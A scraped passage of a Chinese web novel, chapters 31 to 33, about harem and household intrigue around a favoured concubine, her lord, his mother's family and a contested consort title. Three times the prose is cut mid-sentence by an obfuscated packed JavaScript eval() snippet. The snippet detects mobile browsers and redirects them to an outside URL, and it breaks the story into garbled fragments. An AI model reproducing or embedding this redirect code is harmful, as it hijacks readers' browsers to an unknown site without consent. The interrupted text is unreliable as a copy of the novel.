电光火石的短瞬对峙过后,霍灵渠漠然说:“你很清楚,你这番话,我不会全信。” “我才发现你实则是贵妃的最佳人选,想到明年朝堂将掀起的波澜我已经心潮澎湃了;英王府既已搭好台,再不乘势而上更待何时?”他笑乐若癫狂,眼底闪烁着狠辣与痛快:“明年给你祖父好好诉诉这十六年的苦,我要把晋王一派连根拔起。” 显国公与平原长公主的独女、薛驸马的亲妹妹正是晋王妃。 “你有空,多来大相国寺听念空主持讲佛经。”霍灵渠接没话,执笔继续抄佛经。 “就算如来佛亲自为我天天讲佛经,我也不可能把这笔血仇放掉!”语毕,他大步离开,猛烈的摔门声冲击耳膜,霍灵渠握笔的手停在半空中,凝聚的墨汁顺势滴落溅起滴滴墨花,就这般毁了写好的半卷工整经文。 放下毛笔,霍灵渠将抄坏的佛经团成团扔掉,疲累而倦怠地闭眼伏倒在桌案上。 在大相国寺用过素斋午膳,他们返程回去英王府,马车踏着未时微弱的阳光驶进府门,绿岫走下马车正要扶姨娘出车厢时瞥见世子爷前院外书房的奉笔小厮对她招手,怪异皱眉,迟疑着过去问情况,听完事情惊了:“真的啊?” “这还能有假吗?王妃气得要拆房,没奴婢能劝得了,岚瑟居的妈妈姐姐们求世子爷去给王妃服个软,世子不愿意理睬,那批人现在还在书房外跪着呢;奴婢们实在没办法了,只能烦劳流光姨娘帮帮忙,还请绿岫姐姐给姨娘传个话。” 霍灵渠已经由小丫鬟扶着走下马车,绿岫见此忙上前禀告:“姨娘,晌午前,世子把贾姨娘在内的七位姨娘连同伺候她们的奴婢都发还身契送出府了。” “什么?”霍灵渠惊讶:“发还身契送走,她们的身契不是全部在王妃手中吗?” “王妃出门做客,上午没在府里,世子爷隅中回府,传护卫进岚瑟居强行让管事妈妈拿钥匙取身契,贾姨娘请了她姑母贾侧妃出面相劝也没劝住世子爷。王妃收到消息匆忙回府,七位姨娘和伺候她们的奴婢都已经离开了。” 绿岫解释道:“世子爷还额外给每位姨娘一百两银票,每个奴婢三十两白银,连贾姨娘都没漏掉;王妃很生气,没人能劝消气。岚瑟居的奴婢跪在书房前求世子去给王妃服个软,世子爷没理睬,那批人还跪着呢,便想请姨娘帮帮忙。” 霍灵渠沉吟半响吩咐回流光小筑。 “姨娘您、您真不帮忙吗?”绿岫小声提醒:“给岚瑟居的奴婢们卖个好对您有好处。” “自把钟姨娘转给大爷做妾伊始,岚瑟居没想过世子这段时间有多恶心吗,世子恶心得都快得厌食症了。”霍灵渠双手握紧暖手炉,绝美的眉眼间似藏有冰棱迸发冷芒。 “你给笛生和箫生传话,我说的,一刻钟内岚瑟居的奴婢们不离开外书房,再传护卫进王妃院里把这群奴婢的身契取来发还给她们让她们全部离府做平民,保管能清净。” 绿岫神情一凛,不敢再多言,恭声应是,目送流光姨娘远走再去世子爷在前院的外书房向两位近侍长随传口信,倒令这两位长随面面相觑,这真不是想害世子和亲娘反目吗? 笛生敲开书房门给世子禀告并请示下,晏霁之失笑:“流光温柔,甚少会如此强硬,看来她都已经忍让得不愿再退,那就按姨娘的意思办吧。” “…是,世子。”笛生踌躇再三终究没再规劝,世子必定心里明白的,算了吧。 书房前呼啦啦跪着大片奴婢,得到最新指令各自相互看看,没瞧清楚是谁带头可能都是不约而同急呼告退奔回岚瑟居再想法子,可是不敢再留在世子书房门前相求。 做良籍的平民百姓好吗?好啊,当然好,可若是做没依靠没奔头的平民百姓,与在王府里能安稳度日丰衣足食的下人比起来还真难论哪个更好,再者即使有谁真想拿身契离府也不能在此刻表现,自然全部奴婢都麻溜告退。 其实晏霁之对此是真意外,他可做了准备霍灵渠会来规劝,更没想过她能替他‘出头’,又在书房里静坐两刻钟,他走出书房去流光小筑。 橘粉挂帘飘盈,清淡玫瑰露香气幽幽浮动,窗台前美人觚中红艳艳的梅花瓣张扬鲜活,窗前美人榻里的美人儿似海棠春卧妩媚风情偏又透着纯粹素净,一片花瓣滑出弯弧度落在她娇嫩容颜上,不知是红梅想比比秾艳还是也想一亲芳泽了。 晏霁之拿掉这瓣梅花,叫醒她打趣:“瞧你最近嗜睡的,我几乎怀疑你有身孕了。” “跟你说了我要去大相国寺拜佛,求你那么多遍还要拖到丑时末,只睡两个时辰能不困吗?还不都是你夜里欺负人。”霍灵渠拉拉兔毛绒毯端坐起,不问自答:“我心情不好,难免脾气差,没忍住就越俎代庖了。” “拜佛烧香回来还心情坏脾气差?”晏霁之笑问:“为何啊?” “佛经抄坏了,忽生烦躁,心里有种难以名状的恐慌,想到明年就不舒服。”浅浅愁绪轻忽不可捉摸又重得像压着她喘不过气来,霍灵渠扬起饱含感慨的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459223|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “有时候真觉得人生路像在下棋,只有赢棋才能获得自己想要的生活;可这样的人生路是那么险,一步都不容走错,走错步就能令自己不堪重负。” 晏霁之调换方向改坐到她背后,连人带毛毯抱入怀,从轻规避:“这是在劝我吗?” 霍灵渠摇头:“如果你已经决定放手不再存期望,无非是少忍委屈、不让自己那么难受;如果你对生母还有期许,发泄过后你会主动低头,何需我劝?” “可我一直等着流光能来哄哄我。”晏霁之怨声:“到现在我还怪不舒服的。” “谁逼你让你给贾姨娘银票吗?你都能忍着恶心自己去给贾姨娘银票,不舒服能怨谁?”霍灵渠没心情惯他,晏霁之乐了,他真没料到:“你知道我不舒服是因为给贾姨娘银票?按正常思维你不是应该往英王妃身上猜吗?” 所以说俩人相处那么多年真不是白过的,霍灵渠耐心掰扯:“你不是说不舒服嘛,你会不舒服肯定是因为有事情恶心你;给贾姨娘银票当然能算恶心你,英王妃今天又没恶心你,你觉得不舒服跟她能有什么关系?” 晏霁之忍笑赞同,抱紧她问:“在大相国寺有遇到故人吗?”得到否定答案,他神情莫测:“看来后宫真的不平静,真有可能要闹出点风波。” “你还是先顾好自己吧。”霍灵渠叹息,晏霁之心宽:“王妃还没和王爷抢过中馈账上的银两和库房钥匙,还得再过几天才会跑娘家哭诉。” 晏霁之他祖母过世后,英王府的中馈移交给英王妃打理,但与普遍掌中馈的主母不同,公中的田地铺面银两和王府金银玉器绫罗绸缎的库房钥匙都不在她手中。 譬如采买,英王妃要换商铺要翻倍采购都可,但无论怎么变,结账都由账房和商家结算;她想更换公中账下的田庄铺面管事亦可,但就算换成她的娘家亲戚,进项收息也不会给她,否则英王就会出面干预;还有王府堆满金玉绫罗的库房,基本只供让英王妃拟礼单,她若想私用,那库房里的一根丝线她都动不了。 一言蔽之就是全府都看得明白,英王防范王妃假公济私中饱私囊防得毫不遮掩。 因此每年到年底王府中馈账目结算、人情往来送礼最密集的时候,英王妃都要和丈夫争抢公中财物的掌控权要做名副其实的当家主母,年年落败,年年争。 不仅是她,她小妹顺郡王妃也是这么个情况,据说还是顺郡王学习连襟的成果。 兴献侯夫人比亲姐妹的优势在于霍家还是她长嫂掌中馈,这种打脸情况没困扰到她。 清晨冒着暴雪带儿女回娘家,又看到姐姐在哭骂、妹妹在发飙,她真头痛,每年为这事闹得没完没了:“不就是又没争到银两和库房,都习惯的事还有这么大火气吗?” “你说得轻松?!”顺郡主妃当即调转怒火对亲姐:“谁家当家主母做成这么窝囊,你看过两年霍家分家霍漓江会不会也这么对你,有两个连襟摆的好例在,他还能不学吗?” 兴献侯夫人烦躁不已:“大姐哭够了没啊,事情都几年了还用得着哭吗?” 有奴婢得吩咐出面再解释遍,兴献侯夫人骂作孽:“大姐你这回要跟亲儿子闹多久,你给曼媛灌碗打胎药送回钟家不就没那么多事了。”钟姨娘闺名钟曼媛。 “这种虎狼药多伤身,曼媛怕得要死,宁可怀着胎去死都不肯喝药,我还能怎么办?”英王妃眼眶红肿,满腹怨气嘶吼:“还不是那孽障眼里根本没我,他要是还有点孝心能这么不依不饶能这么踩亲娘的脸吗?” 霍振羽有预感即被点名,兴献侯夫人没好声道:“振羽去把你表哥叫来。” “姑母,我以为症结应该不在大表哥,毕竟把其他妾室散去这种事,男子怎会想到?”佟二姑娘闺名妙兮,正当二八年华,娇晕红腮明眸如水,出落得可谓妍丽动人,且她兼具清雅脱俗的书卷气质,是京城最负盛名才貌俱佳的闺秀之一。 英王妃恍然大悟痛骂:“这狐媚子!” 佟老夫人做主道:“好了,霁儿的小妾也值得你生多大气?真忍不了,将来蓁蓁做皇后,你让蓁蓁把那小妾赐死就是。” 32. 第32章 意外砸落赐死二字,暖阁众人虽有点惊也没多少波动,同时像疏通堵塞已久的关窍般令当场有心人都心思活络舒朗起来。 霍蓁蓁还有小半年及笄,标致漂亮的小脸犹如含苞待放的玫瑰花,虽然还留有婴儿肥,但姿韵已初具风采,可以想见再过三四年她将会何等闭月羞花艳冠群芳;哪怕现在,她一身不符合年纪的盛装打扮也没被珠宝喧宾夺主,而是衬得她卓越出众。 “小事一桩,大姨母就放心好了。”她爽快答应,她的大姨母反而没承情:“不,太慢了,蓁蓁最快也得后年才能册立为皇后,那我不还得再受那狐媚子一年多的闲气?这样,蓁蓁进宫找太后,让太后明天就将那狐媚子赐死。” “也行,”霍蓁蓁随意:“我明早就进宫——” “还嫌我们家这几天不够乱吗?”霍振羽头大打断搪塞:“娉姨娘和二姐六弟天天闹得家里鸡犬不宁,四姐在宫里也是整日哭闹撒泼没个消停,你觉得姑母能比我们好多少? 表哥都能为这流光姨娘把其他妾室散去,你想想她该有多受宠爱,你贸贸然找太后姑母把她赐死,表哥不得把咱家捅出个窟窿;都要过年了,过完年再从长计议。” 兄长考虑得也有道理,霍蓁蓁准备相劝时她大姨母英王妃已然怒喝:“振羽你向着谁呢,你还想让大姨母受个从勾栏院里出来的狐媚子的闲气不成?” 本来就是大姨你不占理,而且我也没说过我向着你啊;如果我向着你,我娘再学着你,那我以后岂非浑身变绿还得被压着受窝囊气,是个男人都不能忍。霍振羽默默腹诽,赔笑道:“大姨,我去叫表哥,我先走了。” 语毕,他阔步往外走浑似身后有狼狗在追,英王妃难以置信:“振羽,你回来!”嘶叫声落地那外甥就已经跑出屋,气得她转头就找外甥的亲娘掐架,兴献侯夫人退避些,没忍到长姐消停只能反呛:“够了大姐,霍家这几天正乱着,等过完年又怎样?” “你说得轻松!”英王妃接替幼妹发飙:“你把儿子媳妇都稳稳压着就想看我笑话是吧,要是振羽的小妾敢爬到你头上耀武扬威,看你能忍吗?” “谁叫你非要和儿子闹僵?”谁还没点脾气,兴献侯夫人没好气怼道:“换成我,我可做不出把给亲儿戴绿帽的小妾好好供着这种事,你让霁之都没脸了还不准他生气不是笑话吗?霁之有脾气要发泄很正常,被亲儿踩脸还不是你自找的吗?” 英王妃怒火高涨浑身发抖:“佟梦姿?!” 被亲姐姐连名带姓怒吼的兴献侯夫人毫不示弱:“我说错了吗?” 霍蓁蓁头皮发麻,好在不是她独个儿头疼,在佟老夫人指挥下暖阁众人迅速把这掐架的姐妹俩拉开并且各自安抚劝住。佟大夫人隐有歉意惭愧:“也怪妙兮不中用,若是妙兮能得陛下青眼获封贵妃,明年正月里妙兮就能为大姑把事情办了,哪还需得去麻烦霍太后?” “对啊,”因为近期事多而忘掉这茬的英王妃眼前一亮,顿时又指妹妹训:“佟梦姿,你事情到底办没办成,这都多久了,霍家还没给准信吗?” “哪有这么容易?太后顾忌着太上皇犹豫得很,多劝几回反要生气,蓁蓁她爹和大伯怕这么做太过嚣张会触怒陛下根本不赞成,我还能怎样?”兴献侯夫人冷嗤:“大姐你站着说话不腰疼,有本事你让英王府和顺郡王府来办。” 英王妃受不得这种冷嘲热讽,又要呛时被她幼妹给按住,顺郡王妃考虑道:“也对,咱们大可三家都使使劲将妙兮捧上贵妃位,正好明年也把我府里那几个贱人给赐死。” “这种大事,你还能让顺郡王听你的话吗?”英王妃不自觉捏酸,她幼妹不以为然道:“对我们大家都好的事他为何不愿意?大姐你放低姿态多哄哄大姐夫不就行了。” 哪壶不开提哪壶,英王妃狠狠瞪向幼妹,憋气转移发泄:“二妹,你府上那个娉姨娘都已经四十多岁还能最得穆国公宠爱,你那大嫂都不会给丈夫安排鲜嫩的新人吗?” 这姐姐真是没个顾忌吗?兴献侯夫人给她使眼色示意还有小辈们在,佟大夫人忙请示婆母得到准许再让姑娘们离开去自己玩。 “四十一岁。”她清楚是人家张扬又在去年办过四十岁生辰,同住个屋檐下自然知晓,兴献侯夫人懒洋洋普及:“我那位大嫂不屑和娉姨娘计较更没兴趣压制分宠。 不过那大伯子的新人从没断过,只是没哪个能越过她,大概就属娉姨娘最能讨大哥欢心,这岁数都还在上蹿下跳想要再生儿子固宠争家业。” “什么?”顺郡王妃被惊到了:“四十多岁还想老蚌生珠,她是有病吗?” “前几年那阴御史的夫人不是四十四岁都怀胎生子吗?比起阴夫人,娉姨娘不还年轻?”兴献侯夫人鄙薄道:“听说她最初想生个十胎八胎,大哥怕她照顾不好哥儿姑娘们,她每回生产后都要给她灌三四年的避子汤,灌到她三十岁才停。 哪怕她偷偷倒掉避子汤故意怀上,大哥都令府医给她强行打掉,根本不准她随便生。等到她三十岁以后没了限制,她就折腾着想再生五六胎,都折腾十来年了。” 顺郡王妃无语凝噎:“这穆国公夫人可真好脾性居然能容得下这种小妾。” “我府上那贾侧妃年轻时候的嚣张劲儿不比这娉姨娘差,三十五六岁以后还不是想折腾都折腾不起来了。”英王妃拎不清什么滋味地冷哼:“穆国公也真够长情的。” 眼看她们姐妹越扯越远,佟大夫人忙把话题拉回:“唉,前有贾侧妃后有徐侧妃,大姑您是真不容易;听说徐侧妃也想争明年的贵妃位,大姑爷这是已经决定帮衬她了吗?” “没有的事。”英王妃一口驳掉,虽然她心里没底但不可能露怯:“王爷不想掺和。” “我看大姐夫敷衍你想捧他的庶女才是真的。”顺郡王妃嫌弃提醒:“大姐你拎拎清楚,要是被徐侧妃母女抢到贵妃位,你以后还能压得住这小妾吗?” 英王妃气血上涌,压抑而烦躁呛道:“我能没数吗,可我怎么劝他让他放掉自己的女儿改为帮忙捧岳家的侄女?这不是傻,换成你你能吗?” 顺郡王妃一噎,憋闷没吭声。佟老夫人年六旬,发髻间少有银丝,脸上的老人斑用粉细细掩盖,双手涂着红艳蔻丹,她揣测:“霁儿在他爹面前可比你还有分量,倘若你和霁儿能一同向女婿晓以大义,英王应该能够听得进去?” “娘?!”英王妃埋怨地看向亲娘,气闷不已:“那孽障还能听我的话吗?” 佟老夫人何尝不气闷?三个女儿都没遗传到爹娘的心思手腕,幸亏她还有两个亲生儿子,不然保管得被亲女儿们气得折寿!缓缓气教导:“娴儿,你们是亲母子,何苦处处针尖对麦芒?这回你让一步,还怕拢不住亲儿的心吗?” 英王妃窝着火不肯轻易就范:“娘,我才被那孽障踩脸踩得在府里大丢颜面大失威信,你们不帮我想办法教训那孽障还要让我这亲娘对儿子低头吗?不行!” “那你愿意再受霁儿那小妾一两年的气?”佟老夫人深呼吸,办法张口就来:“如若你不想低头就和儿子谈交易,以霁儿对这流光姨娘的迷恋没准都想将她扶正。 大可以此做饵,只要霁儿愿意答应帮忙助妙兮登上贵妃位,你就答应以后任由他胡闹;一旦妙兮得封贵妃即赐死那小妾,如此还愁不能痛快吗?” 英王妃愣了下后不由大乐:“娘您这办法妙啊!” 暖阁里紧随响起众人的喝彩鼓吹声,站在佟老夫人身侧那样貌干练的嬷嬷笑得和大家如出一辙却在心里叹息,瞥见窗牗似乎有些松动,她请示下,得允再走到窗前要把窗关严实,透过窗缝隙瞧见白茫茫的雪花翩翩,她终是趁此空档将心里的浊气给呼出去了。 府中有座梅林,严寒时节冰雪给世间披层厚厚的银装,任多少斑斓色彩都尽归附素白,唯梅花傲雪缤纷独秀,鲜妍至极的红梅花瓣在皑皑白雪中怒放,堪称隆冬最美的景。 佟妙兮带着婢女们在梅林里剪捧缀雪的梅花枝,回到屋里,她脱掉沾雪斗篷,挑出几枝鲜活招展的红梅,走去里间将红梅枝插进花觚摆好花型,她才接过暖手炉坐下。 两个丫鬟正在给霍蓁蓁捶腿,她则捧碗燕窝喝,见状不免要说:“这些事,表姐你吩咐下人做就是了,冒雪摘梅花也不怕受风寒?” “表妹的心意我明白,可我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459224|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就图这点逸致雅趣。”佟妙兮语笑嫣然,神情透着向往:“寒冬赏雪观梅,炎夏泛舟采莲,金秋采菊酿桂,都是多么有意境的事儿。” “你可真是个痴人。”她就欣赏不来,霍蓁蓁提点道:“在闺阁时就算了,等你明年进宫做贵妃若还这样,表姐你当心被后宫里那些女人吃得连骨头渣都没了。” 佟妙兮低眉抿唇,羞涩中带着黯然:“陛下还没给出旨意,贵妃之论表妹言之尚早。” “我们四家同时使劲儿还会争不到贵妃位吗?”霍蓁蓁想当然说道,尚稚嫩的眉眼间洋溢着高高在上的漫不经心,在佟妙兮眼中却堪比绣花枕头,她将鄙夷压在心底最深处,明眸含笑甚娇俏:“若是真能借表妹吉言,将来我必为表妹赴汤蹈火鞠躬尽瘁。” 屋外转小没多久的飘雪再次重重降落,暴雪肆虐天地成霜,哪还剩什么意趣,唯肃杀耳。 今日休沐,找晏霁之,霍振羽不做二想直奔英王府;暴雪阻路,虽然宽阔街道上一直有清扫积雪,车夫怕打滑也不敢赶车,只徒步拉着马车慢行。 车里有碳盆还是不够暖,霍振羽冷飕飕地奔进英王府,哈口热气眼前冒片白烟,抓奴婢们问清他表哥在何处即直奔流光小筑;没想到堂兄霍巨浪也在,且这表兄堂兄还真有闲情,在流光小筑的花厅里架铜锅烤肉架子涮肉烤肉吃。 “今早你不是又陪你娘和妹妹去外祖家,这是又奉命来喊你表哥吗?” 霍巨浪略带斥责:“我说振羽,你已经弱冠并且娶妻生子,要出门也该陪媳妇去岳家,总是随叫随到陪着老娘跑外祖家算怎么回事? “外祖家的表兄弟叫不动表哥嘛。”婢女搬来绣凳摆好碗筷,霍振羽坐到铜锅前,喝杯热茶再接过暖手炉,无奈道:“只要大姨母回娘家诉苦必得喊表哥去赔罪,就算我没陪着,我娘都要派人找来让我把表哥带去佟家,那我还不如陪着呢。” “你怎么受得了?”霍巨浪诚心建议:“看你表哥肯定是因为受不了才懒得搭理她们,你还不好好向你表哥学学。” “那我也得和我娘三天两头吵,闹得没个安生这日子还怎么过?”霍振羽看得开:“忍一忍海阔天空,就当孝敬亲娘。”顺势通风报信:“而且幸亏我在,不然表哥你就惨了。 大姨哭闹不休,外祖母就提等蓁蓁将来封后之后把流光姨娘赐死,结果大姨都等不及,非闹着要让蓁蓁明早找太后赐死流光姨娘。”再恳切规劝:“表哥你想保住你的宠妾,只能退让给亲娘赔罪,就当孝敬你娘了。” 他看向表兄说话没注意到身旁堂兄在他吐出赐死二字时闪现的冷意,霍巨浪被气笑了:“张口就要赐死,皇后和太后莫非是给她们办事的家奴吗?霍振羽你外祖母和姨母真厉害,如斯境地还能愿意忍让,你当真还记得自己姓霍吗?” “二哥,只是赐死个小妾。”霍振羽头疼:“你用得着这般小题大做吗,我当然姓霍。” “巨浪是在提醒你佟家及其出嫁女的狂悖而非赐死小妾。”晏霁之饮杯酒,冷漠非常:“霍家可是在强抢后位,再不谨言慎行岂不是要找死吗? 外戚向来是大患,皇后的宝座还没到手,她们就敢如此张狂,将来岂非要将霍家架在火上烤?哪天皇帝忍无可忍要拔除后族,霍家倾塌,蓁蓁一条白绫上路,佟家安然无恙,你能逃得过吗?是可忍而孰不可忍也?” 霍振羽被训得心头有点火烧:“表哥你言重了,这,这么点事怎么可能会那样严重?” “我猜你离开后她们在谋如何拿到贵妃位,你相信佟家想争贵妃位是对霍家的助力,我以为佟家居心叵测。”晏霁之淡淡道:“你若能有证据证明我的猜测怀疑皆错,或许能有侥幸,否则只怕你有命做国舅爷也就几年光景。” “表哥?!”霍振羽脸色大变,霍巨浪冷笑打断:“急什么急,你外祖家给的什么说辞,当我们家是傻瓜还是白痴能相信那种鬼话吗?距离册封贵妃还有个把月,你当真那么多闲情足够查出佟家背后有无阴谋;要是能被你证明二哥冤枉好人,二哥郑重给你道歉。” 霍振羽砰然站起连坐着的绣凳都带摔了,压着火烧火燎的心应承:“好!” 33. 第33章 雪花密密麻麻飘洒剪不断理还乱,白皑皑的积雪柔软如棉絮唯美能入画,可惜冰寒直刺骨髓稍有不慎就能染疾,庭前突然咯吱一声脆响,原来是积压的厚雪压断了细小枝丫。 霍巨浪原本是帮妹妹舒窈来给灵渠送回赠还有年礼,又知晏霁之竟然把其他小妾散尽,心情好特意夸他上道,哪想能再得这么个意外‘惊喜’?! 堂弟离开,他仰头喝杯酒,携着怒火冷笑恭维:“你外祖母和你娘可真是了不起!” 晏霁之摆摆手屏退在花厅里伺候的奴婢,端起瓷盘夹过切得细薄的肉片放入铜锅,叹道:“真不愧是兄妹啊,迁怒我都一样,她有时候心情不爽就这般迁怒我。” “哼!”霍巨浪再倒杯酒喝,没好气质问:“她们这种德行你是不是早就有数?” “别说得你姑母好像有比她们好多少似的,想想二十年前,太上皇的元后和贵淑德贤四妃谁最嚣张狂妄?”晏霁之哼哼:“当年我家还在你家之上,我姑母乃正一品贵妃位同副后,可我姑母多温柔;论嚣张,她们四位加起来都不及霍德妃。” 霍巨浪再冷笑声跟他抬杠:“我祖父常说,你和你家最倒霉的是你曾祖不够长寿,如果你曾祖父能活到七八旬高寿,你哪能摊到个小门户出身的亲娘?太上皇恐怕都只能做傀儡,晏家又何至于沦落到如履薄冰地活着?” 晏霁之赞同:“想想我曾祖在授康二年逝世,可他还在世时我爹就得自污名声在娶妻前弄出庶儿女,娶妻只从低门小户相看;鼎盛之际安排退路,他老人家多么高瞻远瞩。” “你以为霍家强抢皇后之位这步棋走错了?” 霍巨浪没再对呛,正经道:“你该耳闻过陛下登基后忠毅伯府在叫嚣什么,因为陛下给我姑母做养子,霍家不准他们亲近陛下,他家摄于霍家的淫威不得不对陛下冷淡。 没人有把握陛下会听信几分,外戚又向来是大患,霍家不在鼎盛之际搏一搏就只剩被打压欺凌的份儿了。” “你真相信会没有吗?”晏霁之眼中笑意流泻,饮杯酒,弯唇莞尔:“二十多年前,霍德妃收养五皇子做养子难不成是为将来给他人做嫁衣吗?我相信霍家干预过,只是绝不会像忠毅伯府叫嚣得那么夸张。” 霍巨浪提醒:“这不是重点。” “两年前霍鹣娇进宫,我萌生个猜想,你家那位娉姨娘折腾十来年都没再怀胎是因为她三十岁以后穆国公直接给她灌了碗绝育汤。”晏霁之语毕,霍巨浪神情微变地看向他,他喝杯酒淡笑道:“我相信我没猜错,而你娘肯定清楚,海啸应该也有数。” “想含沙射影什么?”霍巨浪眉头深锁,晏霁之感慨:“你只比海啸小两岁,可比起海啸你心软多了,不是嫡长子就是幸福。” 从窗台望见数不尽的雪片纷纷扬扬,层层叠叠掠过眉梢眼睑,落尽不知多少红尘纷扰。 走前,晏霁之强逼他把带来的小狗抱走:“你若是不带走,我可要亲自还给舒窈了。” 霍巨浪心思沉就没坚持只骂他:“我家灵渠该有多倒霉得和你相守终老。” 收到套红宝石头面,霍舒窈参考哥哥的建议琢磨几天后回赠四盒向太后姑母要来的宫中顶尖养颜润肤膏和一只温驯可爱的小狗狗,霍灵渠童年时挺喜欢小动物,但是晏霁之不喜,任何宠物包括鹦鹉、他都从没养过;既然他不喜,他的女人肯定不能养。 送到二门,晏霁之折返回流光小筑,进屋看见霍灵渠在剪窗花,他脱掉外罩的雪貂外袍递给丫鬟再接过暖手炉,将在屋中伺候的婢女们遣退,他再举步走到女人身边坐下,温和笑:“以前没见过你有这种雅兴,今日怎么好兴致?” 霍灵渠鸦青的秀发绾成长辫,一袭简单的藕荷色袄裙婉约清雅,她淡淡笑:“没特别的,恰好有兴趣。嗳,你和我二哥不是在花厅烤肉喝酒吗?二哥这么快就走了?” “嗯,振羽有事情来找。”晏霁之话落,霍灵渠笑意微敛,他叹息:“记得你还在霍家时没少疼爱这个弟弟,你对振羽还是有点感触的吧?” “有又如何?”霍灵渠放掉剪刀和剪纸,捧起暖手炉,淡漠垂眸:“终不过陌路成仇。” 晏霁之抱她入怀,说件事:“喝酒时我问过巨浪近几日宫里的情形,他说三公主不好,但以我之见,珍修仪的三公主很可能会早夭。那么明年你成为贵妃,珍修仪和忠毅伯府恐怕就不会只是意难平那么简单。” “小公主可能会早夭?”霍灵渠看向他,讶异蹙眉:“这种话可不能信口开河。” “降位后,珍修仪就没一日消停过,靠她自己见不到皇帝,她就谎报三公主生病,仍然无用之后,她竟然让她的亲女儿在这种寒冬腊月里受冻活活熬成高烧病重。” 晏霁之语气平淡,都不屑讽刺:“才七个多月大的小婴儿,还有从娘胎带来的体弱毛病,被亲娘这般折腾怎么能活得好?何况这亲娘的重心还在软硬兼施要逼迫皇帝给出贵妃位而非悉心照顾重病的女儿,那小婴儿还可能会保得住命吗?” 沉默片刻,霍灵渠疑惑:“皇帝对珍修仪肯定有所了解,他应该很清楚珍修仪不会轻易服从降位,为何还要颁旨降位?” “闹闹又何妨?”晏霁之猜:“陛下应该只是没料到珍修仪能狠心拿她亲女儿作伐。” “可她就没想过会适得其反吗?”霍灵渠奇怪,晏霁之拿她的手绢擦拭她红唇的口脂,淡淡道:“有点脑子,这生母的娘家人不早出头了。” 霍灵渠好笑:“一个亲娘该有多利益熏心才能枉顾亲生骨肉的安危去争权夺利?” “看看你姑母,这不妥妥的就是霍太后第二。”晏霁之猜要被她打了,果然不负他猜想,霍灵渠闻言即伸手打他:“说什么呢,会不会正常说话?” “你自己说你姑母自私自利可是父母兄长们都认同,你才是别因为姑母疼爱你而偏颇。”晏霁之反驳:“如果舍掉女儿能换来皇后宝座,十多年前的霍德妃和庄淑妃谁做不出?区别在于那两位当年都能讨圣人的欢心,而今的珍修仪已经惹皇帝厌恶都不自知。” “反正是你一面之词。”霍灵渠模棱两可含糊,晏霁之亦没兴趣辩论,抱着女人亲吻。据他自己宣称:不是他突然不排斥以唇相触,而是宠妾没尽全义务就离开他,他更不舒坦,两害相权必须取其轻。 霍灵渠艰难地捧住他的脸颊分离彼此,气息微喘:“我还有事问你,皇帝说他喜欢我,你觉得这话能信吗?” 我觉得你真会扫我的兴,晏霁之边吻她边反问:“多深情的前未婚夫,你不信吗?” “十六年前我八岁他十二岁,即使有婚约又能有几分男女情?何况已经间隔十六年,这世间那么多钟灵毓秀的佳人都没入他眼,就惦记个十六年前的八岁女孩?”霍灵渠真难信:“这未免也太假,我觉得这比你说你喜欢我还要假。” 你可真会举例做比!我觉得我真想在你脸蛋上咬一口,晏霁之尽量控制让自己和颜悦色:“我更好奇你怎么得出的比较,你就不信你的前未婚夫是个痴情种吗?” 霍灵渠有理有据驳斥:“如果痴情为何肯另娶?未婚妻毁容远走,不肯再嫁,他娶别人很正常没人会指摘他,可既然已经各有各的人生又相隔着十六年,他突然出现还说喜欢我,这、这不荒谬吗?我二十岁跟你,都四年了,我们还没有日久生情呢。” 最后句话,晏霁之听来真憋闷窝火,真想怼她句:你信不信我真敢让你怀上?! “执泥真假有意义吗?他是皇帝,既然他说喜欢你,你进宫后就奉承着,没坏处。” “可我不想进宫了,就是刚刚生出的想法。”霍灵渠靠进男人怀里,压抑道:“我不知道内廷有多少如珍修仪般的女人也不想知道,我只想逃离远避。 童年住在宫里时玩得欢喜,现在却只觉得那座皇城像深不见底的黑渊在张着血盆大口要将鲜活的生命吞噬,我真的不想去那里哪怕仅待几年。皇帝要挑起朝堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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论攫取利益,英王妃将娘家看得比自己重,而顺郡王妃以自己为先,对兴献侯夫人则是自己和娘家同等重要;论做母亲,她们中属二姨最有慈母心肠会疼爱儿女。但若攸关性命,两位姨母必然做不到舍弃自己的命来奉献娘家;而英王妃,我猜是应该也做不到。” “待到而立之年,你立誓会娶妻的而立之年,你当真会娶妻吗?” 霍灵渠抬手抚抚他的脸,感悟道:“我在想少年时你不肯娶妻最根本的原因,或许不是因你当时患隐疾而是因为生身母亲和外祖家,你希望能真正自己做主了再娶妻生儿育女。” 晏霁之没接话,带她赴巫山云雨,红绡帐暖又是一夜激情。 然世事变化,晏霁之还没有接到佟家这计策,皇宫中传出三公主夭折。 茫茫白雪将金碧辉煌的皇宫封染冰霜,临近年关,皇帝封笔、官衙闭衙的前一天,宫中传出小公主夭折的噩耗无疑给世间最深最大的紫殿朱门多披层凄哀和阴霾。 御殿内很暖,主治御医禀奏的声音很沉:“珍修仪怀胎时服用的汤药多杂且还有相冲,以致三公主先天不足,陛下是知道的;小公主未满周岁,不精心调养尚且还存着夭折之险,实在受不住此番如此高烧重病。老臣无能,请陛下降罪。” 